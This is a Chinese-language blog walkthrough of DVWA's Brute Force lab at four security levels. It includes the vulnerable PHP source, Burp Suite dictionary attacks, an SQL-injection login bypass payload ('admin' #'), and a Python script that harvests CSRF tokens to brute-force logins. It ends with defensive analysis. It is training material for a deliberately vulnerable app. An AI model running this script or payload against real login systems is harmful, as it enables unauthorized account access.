前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DVWA笔记(二)----Brute Force

DVWA笔记(二)----Brute Force

作者头像
用户5878089
发布2019-07-25 15:59:07
1K0
发布2019-07-25 15:59:07
举报

“爆破?物理爆破才是王道!”

前言

相信大家看过之前的教程已经成功搭建起我们的渗透测试环境啦!那么,在这篇文章中一起开启web渗透测试的第一篇吧!爆破什么的最爽了!

Brute Force 介绍

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。通俗地讲,就是尝试每一种答案的可能,如以前轰动全国的12306“撞库”事件,实质就是暴力破解攻击。

暴力破解模型(开箱子模型)

for(密码=000;密码<=999;密码=密码+1)

{

输入密码;

按下开锁按钮;

if箱子关闭;

破解失败;

continue;

if箱子打开;

破解成功;

break;

}

上述代码通过一个循环,从000号密码开始尝试打开箱子,打开即停止,打不开便尝试下一个钥匙。 就这样,我们尝试了每一种可能性,总会有打开箱子的时候(当然只是时间问题)

具体操作

首先我们启动phpstudy,开启Apache和Mysql服务

访问自己的本地

url(127.0.0.1/DVWA-master/index.php

点击下方的 DVWA Security来切换难度

这里选择low

然后点击上方的 Brute Force,在下方就能看到当前的难度

答题界面就是这里了

我们可以在本地文件夹中看到题目源代码(到你自己的路径中去找)

low等级

源代码:

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
     // Get users details
     $row    = mysqli_fetch_assoc( $result );
     $avatar = $row["avatar"];
     // Login successful
     $html .= "<p>Welcome to the password protected area {$user}</p>";
     $html .= "<img src=\"{$avatar}\" />";
    }
    else {
     // Login failed
     $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析:

服务器只验证了参数Login是否被设置,没有任何的防爆破机制,且对参数username没有做任何过滤,然而对password做了MD5校验,杜绝了通过参数password进行sql注入,因此利用的思路如下:

1、直接进行爆破

2、对没做过滤的username做sql注入

使用工具爆破

使用Bursuite进行爆破

burpsuite

下载链接

https://pan.baidu.com/wap/init?surl=mUf6wAbrNquDYx8xdhp48A

密码:

s1ws

注册使用

https://blog.csdn.net/u014549283/article/details/81248886

burpsuite 使用方法

https://www.cnblogs.com/nieliangcai/p/6689915.html

抓包如下

爆破位置如下

加载字典

开始爆破

发现这一条的回显长度明显不一样

查看Respose发现爆破成功!

手工注入

由于源代码中,没有对username输入进行过滤,而且能看到sql查询语句

可以构造payload来进行注入,从而绕过密码验证部分

sql注入原理

https://www.cnblogs.com/cnhacker/p/6984665.html

payload:

admin' #

注入成功,没有输入密码,但却登录成功

medium 等级

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
     // Get users details
     $row    = mysqli_fetch_assoc( $result );
     $avatar = $row["avatar"];
     // Login successful
     $html .= "<p>Welcome to the password protected area {$user}</p>";
     $html .= "<img src=\"{$avatar}\" />";
    }
    else {
     // Login failed
     sleep( 2 );
     $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析:

相对比于low等级,为了防止SQL注入,把用户提交的登录用户名和密码数据进行转义过滤,增加了mysqli_real_escape_string函数,mysqli_real_escape_string函数的用法如下:

mysqli_real_escape_string(escapestring,connection);

第一个参数为需转义字符串,第二个参数为数据库连接。

对以下输入的字符串进行转义:

NUL (ASCII 0)

\n

\r

\

'

"

\0xaa

使用了mysqli_real_escape_string函数过滤输入,字符编码为UTF-8的环境下,抵御了sql注入攻击(GBK编码下该函数会存在宽字节注入漏洞)。对于登录验证的防护,只用了sleep(2),我们仍然可以采用暴力猜解的方式,利用方式同low等级。

因为使用了sleep(2)语句,导致我们爆破的时间大大增加,但仍旧可以爆破成功

high 等级

源代码:

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // 用户名输入过滤
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // 密码输入过滤
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // 带入数据库查询
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // 登录成功
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // 登录失败
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

分析:

代码中对username和password都进行了过滤,防止了sql注入的发生,并且有checkToken()函数和generateSessionToken()函数,定位到dvwa程序的源码中:

// Token functions --
function checkToken( $user_token, $session_token, $returnURL ) {  # Validate the given (CSRF) token
    if( $user_token !== $session_token || !isset( $session_token ) ) {
        dvwaMessagePush( 'CSRF token is incorrect' );
        dvwaRedirect( $returnURL );
    }
}
function generateSessionToken() {  # Generate a brand new (CSRF) token
    if( isset( $_SESSION[ 'session_token' ] ) ) {
        destroySessionToken();
    }
    $_SESSION[ 'session_token' ] = md5( uniqid() );
}
function destroySessionToken() {  # Destroy any session with the name 'session_token'
    unset( $_SESSION[ 'session_token' ] );
}
function tokenField() {  # Return a field for the (CSRF) token
    return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}

可以发现,High级别的代码加入了产生token值和检查token值的功能,通过抓包,可以看到登录验证时提交了四个参数:username、password、Login以及user_token。

可以看出每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,先进行token的检查,再进行sql查询

抓包来验证一下,在Response中发现下一次请求的token

爆破方法

根据上述的分析过程,我们有了这样一个简单的爆破思路

for(用户名 in username.txt)
    for(密码 in password.txt)
    {
        访问首页;
        获取user_token;
        发送数据包;
        if 'Username and/or password incorrect.' in HTML;
            破解失败;
            continue;
        else
            破解成功;
            break;
    }

根据这个简单的模型,让我们来细化出一个爆破脚本

# -*- coding: utf-8-*- 
#Test By AHai
import requests
import re
IP = "127.0.0.1/DVWA-master/"
cookies = {
    'PHPSESSID':'dlc2unhh4ltlaeb0q0f05k1qm2',
    'security':'high'
}
for username in open("username.txt"):
    for password in open("password.txt"):
        #访问首页
        response = requests.get('http://'+IP+'/vulnerabilities/brute/',cookies=cookies)
        content = response.text
        #获取user_token
        user_token = re.findall(r"name='user_token' value='(.+?)'",content)[0]
        #发送登录数据包
        url = 'http://'+IP+'/vulnerabilities/brute/index.php?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = requests.get(url,cookies=cookies)
        content = response.text
        ###确认破解结果
        print ("-"*20)
        print (u"用户名:"+username)
        print (u"密码:"+password)
        if 'Username and/or password incorrect.' in content:
            print (u"破解失败!")
        else:
            print (u"破解成功!")
        print ("-"*20)

同样可以做到爆破出

用户名admin

密码password

imposible 等级

源代码:

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;
    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
     // User locked out.  Note, using this method would allow for user enumeration!
     //$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
     // Calculate when the user would be allowed to login again
     $last_login = strtotime( $row[ 'last_login' ] );
     $timeout    = $last_login + ($lockout_time * 60);
     $timenow    = time();
     /*
     print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
     print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
     print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
     */
     // Check to see if enough time has passed, if it hasn't locked the account
     if( $timenow < $timeout ) {
      $account_locked = true;
      // print "The account is locked<br />";
     }
    }
    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
     // Get users details
     $avatar       = $row[ 'avatar' ];
     $failed_login = $row[ 'failed_login' ];
     $last_login   = $row[ 'last_login' ];
     // Login successful
     $html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
     $html .= "<img src=\"{$avatar}\" />";
     // Had the account been locked out since last login?
     if( $failed_login >= $total_failed_login ) {
      $html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
      $html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
     }
     // Reset bad login count
     $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
     $data->bindParam( ':user', $user, PDO::PARAM_STR );
     $data->execute();
    } else {
     // Login failed
     sleep( rand( 2, 4 ) );
     // Give the user some feedback
     $html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
     // Update bad login count
     $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
     $data->bindParam( ':user', $user, PDO::PARAM_STR );
     $data->execute();
    }
    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>

分析:

可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作(即规定死了查询格式,而不取决于用户的输入),而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令

后记

暴力破解(Brute Force)存在的根本原因在于

1、目标的密码空间是有限的

2、服务端允许用户不断进行尝试

因此,若要解决暴力破解问题,从原因上对症下药即可

1、尽量设计复杂算法,扩大密码空间

2、限制用户的尝试访问次数

当然了,我们同样可以加大其访问代价,使得其得到数据花费的代价远高于数据本身的价值

—— 阿海 记于 2018.10.03

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-10-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档